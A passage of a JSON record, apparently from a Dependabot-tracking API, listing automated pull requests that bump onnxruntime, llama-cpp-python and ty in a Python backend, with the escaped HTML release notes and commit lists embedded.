href=\"https://redirect.github.com/astral-sh/ruff/pull/24793\"\u003e#24793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from TypedDict schema cycle with \u003ccode\u003eSelf\u003c/code\u003e fields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25094\"\u003e#25094\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from accessing \u003ccode\u003eargs[0]\u003c/code\u003e for \u003ccode\u003estatic_assert\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25149\"\u003e#25149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix panic from non-name walrus target access (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25121\"\u003e#25121\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix singleton classification for runtime typing objects (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25099\"\u003e#25099\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eGuard self-referential \u003ccode\u003eTypeOf\u003c/code\u003e recursion in generic callables (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24668\"\u003e#24668\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve lexical ParamSpec scope for returned Callable annotations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24909\"\u003e#24909\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/f18aed6430c781ff3bc4fe41d9b5c2a7161657c4\"\u003e\u003ccode\u003ef18aed6\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.37 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3473\"\u003e#3473\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/a63e55929645f8eeaa6f28117afda8d2ed39d1a4\"\u003e\u003ccode\u003ea63e559\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.36 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3463\"\u003e#3463\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/94370d5b43c48d01720a9e65d8d8d5286b6697b1\"\u003e\u003ccode\u003e94370d5\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3449\"\u003e#3449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/bc12d1cade50bc9407486057116fa0538bfb31ac\"\u003e\u003ccode\u003ebc12d1c\u003c/code\u003e\u003c/a\u003e Bump version to 0.0.35 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3436\"\u003e#3436\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/fb34d89e4acb379f6d8239d338881a6d1cce6642\"\u003e\u003ccode\u003efb34d89\u003c/code\u003e\u003c/a\u003e Build riscv64 manylinux binary (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3402\"\u003e#3402\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/05def00f5eb67a599b314e1d550b4ce07ae08727\"\u003e\u003ccode\u003e05def00\u003c/code\u003e\u003c/a\u003e Update maturin to v1.13.1 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3417\"\u003e#3417\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/569c081af4159100bfe7be97624da9ef9910d8c8\"\u003e\u003ccode\u003e569c081\u003c/code\u003e\u003c/a\u003e Update prek dependencies (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3416\"\u003e#3416\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/608f8ff6e705b656392a89a1cf4e0b977fb10ab4\"\u003e\u003ccode\u003e608f8ff\u003c/code\u003e\u003c/a\u003e Update renovate configuration (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3379\"\u003e#3379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/518b61d7c2a2eff95e8826a9bba4a392574258b0\"\u003e\u003ccode\u003e518b61d\u003c/code\u003e\u003c/a\u003e Update uraimo/run-on-arch-action action to v3.1.0 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3405\"\u003e#3405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/astral-sh/ty/commit/55429594f26e78d277b29aaadc10ca46f9277148\"\u003e\u003ccode\u003e5542959\u003c/code\u003e\u003c/a\u003e Update pre-commit hook astral-sh/ruff-pre-commit to v0.15.12 (\u003ca href=\"https://redirect.github.com/astral-sh/ty/issues/3404\"\u003e#3404\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/astral-sh/ty/compare/0.0.34...0.0.37\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/yuyash/neural-trace/pull/8","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/yuyash%2Fneural-trace/issues/8","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/8/packages"}},{"old_version":"0.3.21","new_version":"0.3.22","update_type":"patch","path":null,"pr_created_at":"2026-05-11T00:28:01.000Z","version_change":"0.3.21 → 0.3.22","issue":{"uuid":"4417278675","node_id":"PR_kwDOSR6pxs7aEaCc","number":7,"state":"open","title":"chore(deps)(deps): Bump the python-minor-and-patch group across 1 directory with 3 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-05-11T00:28:01.000Z","updated_at":"2026-05-11T00:28:02.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)(deps): Bump","group_name":"python-minor-and-patch","update_count":3,"packages":[{"name":"onnxruntime","old_version":"1.25.1","new_version":"1.26.0","repository_url":"https://github.com/microsoft/onnxruntime"},{"name":"llama-cpp-python","old_version":"0.3.21","new_version":"0.3.22","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"ty","old_version":"0.0.34","new_version":"0.0.35","repository_url":"https://github.com/astral-sh/ty"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor-and-patch group with 3 updates in the /backend directory: [onnxruntime](https://github.com/microsoft/onnxruntime), [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) and [ty](https://github.com/astral-sh/ty).\n\nUpdates `onnxruntime` from 1.25.1 to 1.26.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/microsoft/onnxruntime/releases\"\u003eonnxruntime's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.26.0\u003c/h2\u003e\n\u003cp\u003en.b. The following was generated via LLM from Git history. Only the contributor list has been verified.\u003c/p\u003e\n\u003ch1\u003eONNX Runtime Release 1.26.0\u003c/h1\u003e\n\u003ch2\u003eAnnouncement - Breaking Changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSupport for CUDA 12 will be removed in 1.27.0.\u003c/strong\u003e\n\u003cul\u003e\n\u003cli\u003eCUDA 13 will continue to be published as \u003ccode\u003eonnxruntime-\u0026lt;os\u0026gt;-\u0026lt;arch\u0026gt;-gpu_cuda13-\u0026lt;version\u0026gt;.\u0026lt;ext\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eCUDA runtime will be moving soon to a dedicated Execution Provider (EP) instead of a published package from ORT core.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded optional memory mapping for \u003ccode\u003e.ort\u003c/code\u003e model loads (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28164\"\u003e#28164\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded RISC-V Vector (RVV) support for CPU EP (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28261\"\u003e#28261\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eOpenVINO EP upgraded for 1.26.0 development release (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28297\"\u003e#28297\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eWebGPU gained GridSample support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28264\"\u003e#28264\u003c/a\u003e) and Split-K improvements (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28151\"\u003e#28151\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA plugin EP gained graph support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28002\"\u003e#28002\u003c/a\u003e), profiling API (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28216\"\u003e#28216\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity and Reliability Hardening\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eReplaced unrestricted Python \u003ccode\u003esetattr\u003c/code\u003e configuration with an allowlist (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28083\"\u003e#28083\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eHardened multiple OOB and overflow scenarios across ML and core ops:\n\u003cul\u003e\n\u003cli\u003eAttention mask index OOB write (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27789\"\u003e#27789\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMaxPoolGrad indices bounds validation (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27903\"\u003e#27903\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eSVM and TreeEnsemble bounds/security fixes (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27950\"\u003e#27950\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27951\"\u003e#27951\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27952\"\u003e#27952\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27989\"\u003e#27989\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eRNN sequence_lens OOB read and integer overflow handling (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28052\"\u003e#28052\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28003\"\u003e#28003\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGroupQueryAttention seqlens_k bounds validation and compatibility follow-up (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28031\"\u003e#28031\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28259\"\u003e#28259\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eMatMulBnb4 and ML coefficient SafeInt checks (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27995\"\u003e#27995\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28001\"\u003e#28001\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA Gather int32 overflow fix (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28108\"\u003e#28108\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eGridSample float-\u0026gt;int64 cast hardening for NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28302\"\u003e#28302\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFixed session logger use-after-free during EP teardown under verbose logging (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28274\"\u003e#28274\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eCUDA, Attention, and MLAS\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFilled CUDA opset/operator gaps and extended support:\n\u003cul\u003e\n\u003cli\u003eTranspose opset 23 -\u0026gt; 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27740\"\u003e#27740\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eQuantizeLinear/DequantizeLinear opset 25 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28046\"\u003e#28046\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eCUDA TopK INT8/INT16/UINT8 support (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27862\"\u003e#27862\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eLabelEncoder CUDA support for numeric types (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28045\"\u003e#28045\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAttention/GQA improvements:\n\u003cul\u003e\n\u003cli\u003eFixed ONNX Attention min-bias alignment crash on SM\u0026lt;80 and masked-batch NaN behavior (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27831\"\u003e#27831\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded FP32 QK accumulation path for unfused GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28198\"\u003e#28198\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded CUDART_VERSION reduction compatibility in GQA attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28296\"\u003e#28296\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed CUDA 13 build error in GQA unfused attention (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28309\"\u003e#28309\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003ePagedAttention fallback for SM\u0026lt;80 fp16 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/28200\"\u003e#28200\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eMLAS updates:\n\u003cul\u003e\n\u003cli\u003eFP16 Gelu enablement (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/26815\"\u003e#26815\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eArm64 BF16 fast-math conv kernels for NCHW/NCHWc paths (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/pull/27878\"\u003e#27878\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8c546c37b43caaca1fa25db430dab94b901cf277\"\u003e\u003ccode\u003e8c546c3\u003c/code\u003e\u003c/a\u003e 1.26.0 - cherry-pick for RC2 (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28347\"\u003e#28347\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/55c5c822a02e6237a667c13cd5ed008cd55bb459\"\u003e\u003ccode\u003e55c5c82\u003c/code\u003e\u003c/a\u003e GridSample: harden float-\u0026gt;int64 casts against NaN/Inf/out-of-range coords (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/60ce9ccd65ebb1794110c4dddf2e110cf223e9f9\"\u003e\u003ccode\u003e60ce9cc\u003c/code\u003e\u003c/a\u003e Relax GQA seqlens_k shape validation for backward compat with older models (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d02a0fd536d7cf6b88bfd268932d2933a1c3305c\"\u003e\u003ccode\u003ed02a0fd\u003c/code\u003e\u003c/a\u003e Fix DoubleQDQPairsRemover adding spurious dimension to scalar scale/zero-poin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/9b30f306e40683df362249b7c139177cc83e352f\"\u003e\u003ccode\u003e9b30f30\u003c/code\u003e\u003c/a\u003e remove weights_are_all_positive_  from TreeEnsemble (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27552\"\u003e#27552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/5f2f848a6874d390c94502b3bb424447b119b975\"\u003e\u003ccode\u003e5f2f848\u003c/code\u003e\u003c/a\u003e fix(ci): incorrect relative template includes for setup-feeds (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28312\"\u003e#28312\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/de2bc90ce09d8bab419e07e1db741f445a27f721\"\u003e\u003ccode\u003ede2bc90\u003c/code\u003e\u003c/a\u003e Add QNN Plugin EP repo link to README (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28225\"\u003e#28225\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/8dd4a06811179a7c04aea0a97c65f45a3dc8c6af\"\u003e\u003ccode\u003e8dd4a06\u003c/code\u003e\u003c/a\u003e Include license file in built distributions (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/27783\"\u003e#27783\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/6e19374beb24cc2fa0e8262c6d51404af87aefc0\"\u003e\u003ccode\u003e6e19374\u003c/code\u003e\u003c/a\u003e Fix CUDA 13 build error in gqa_unfused_attention.cu (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28309\"\u003e#28309\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/onnxruntime/commit/d6c363c0d192bf2205155a18f01a62efa6b34da1\"\u003e\u003ccode\u003ed6c363c\u003c/code\u003e\u003c/a\u003e [OVEP] OpenVINO EP 1.26.0 Development Release Updates (\u003ca href=\"https://redirect.github.com/microsoft/onnxruntime/issues/28297\"\u003e#28297\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/onnxruntime/compare/v1.25.1...v1.26.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `llama-cpp-python` from 0.3.21 to 0.3.22\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/abetlen/llama-cpp-python/blob/main/CHANGELOG.md\"\u003ellama-cpp-python's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[0.3.22]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: Update llama.cpp to ggerganov/llama.cpp@63d93d173\u003c/li\u003e\n\u003cli\u003efeat(ci): Re-enable Windows CUDA wheels and add CUDA 12.5.1 wheel builds\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/14d7846f9a7c043901cb98bd446764377a8def6e\"\u003e\u003ccode\u003e14d7846\u003c/code\u003e\u003c/a\u003e fix(ci): skip unsupported Windows CUDA versions (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2204\"\u003e#2204\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/bc6ff9f2cc5545c180d8c3db4128d3ad48a31575\"\u003e\u003ccode\u003ebc6ff9f\u003c/code\u003e\u003c/a\u003e fix(ci): install CUDA CCCL headers for wheel builds (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2203\"\u003e#2203\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/04a3638b2637b0b6f1b843d16a679fbf7d2dd375\"\u003e\u003ccode\u003e04a3638\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA compiler arg for Windows detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2202\"\u003e#2202\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/2bfd80c1c5fadd6bd95bb57e7332438cca5521cd\"\u003e\u003ccode\u003e2bfd80c\u003c/code\u003e\u003c/a\u003e fix(ci): pass CUDA unsupported compiler flag during detection (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2201\"\u003e#2201\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/9cf0ce7c2094c40d7166f3cc92f00f2c2236af4f\"\u003e\u003ccode\u003e9cf0ce7\u003c/code\u003e\u003c/a\u003e chore: bump version to 0.3.22 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2200\"\u003e#2200\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/d2113a14441f7d811b34f4aeee917449ad1da1b9\"\u003e\u003ccode\u003ed2113a1\u003c/code\u003e\u003c/a\u003e feat(ci): re-enable Windows CUDA wheels (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2198\"\u003e#2198\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/587d94a8c31943e3bcbcccbbd2721867da52a9de\"\u003e\u003ccode\u003e587d94a\u003c/code\u003e\u003c/a\u003e feat: Update llama.cpp to ggerganov/llama.cpp@63d93d173 (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/abetlen/llama-cpp-python/commit/c6dc90555be7bedda2d15f516b3ccd6252130a0f\"\u003e\u003ccode\u003ec6dc905\u003c/code\u003e\u003c/a\u003e fix(docs): update mkdocstrings inventories config (\u003ca href=\"https://redirect.github.com/abetlen/llama-cpp-python/issues/2195\"\u003e#2195\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/abetlen/llama-cpp-python/compare/v0.3.21...v0.3.22\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ty` from 0.0.34 to 0.0.35\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/astral-sh/ty/releases\"\u003ety's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.0.35\u003c/h2\u003e\n\u003ch2\u003eRelease Notes\u003c/h2\u003e\n\u003cp\u003eReleased on 2026-05-10.\u003c/p\u003e\n\u003ch3\u003eBug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow ParamSpec specialization through unioned generic classes (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24826\"\u003e#24826\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix cross-file find-references for keyword arguments (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25043\"\u003e#25043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix comparison between negative and positive literal integers (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25023\"\u003e#25023\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReject dataclass decorator parameters based on supported Python version (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25029\"\u003e#25029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLSP server\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdjust start of block folding range to preserve visible header for character-precise LSP clients. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24917\"\u003e#24917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEmit folding ranges from the language server for multi-line block headers. (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24978\"\u003e#24978\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip global search for references if identifier is not externally visible (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25033\"\u003e#25033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSpeed-up find-references by using multithreading for cross-file searches (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25042\"\u003e#25042\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCLI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eInclude severity in JUnit diagnostics (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25080\"\u003e#25080\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCore type checking\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCheck non-generic overload implementations (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24936\"\u003e#24936\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExpand support for narrowing within walruses (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24968\"\u003e#24968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilter overloads based on return type for ParamSpec mapping (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24769\"\u003e#24769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove support for recursive types (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/24773\"\u003e#24773\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring mixed constructors (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25039\"\u003e#25039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInclude TypedDict type context when inferring string keys (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25037\"\u003e#25037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePreserve NewType and TypeAliasType in implicit aliases (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25072\"\u003e#25072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type cntext for generator expression yields (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25069\"\u003e#25069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProvide type context for boolean operands (\u003ca href=\"https://redirect.github.com/astral-sh/ruff/pull/25070\"\u003e#25070\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSelectively promote a union of homogeneous fixed-length tuples to a single variadic tuple (\u003ca 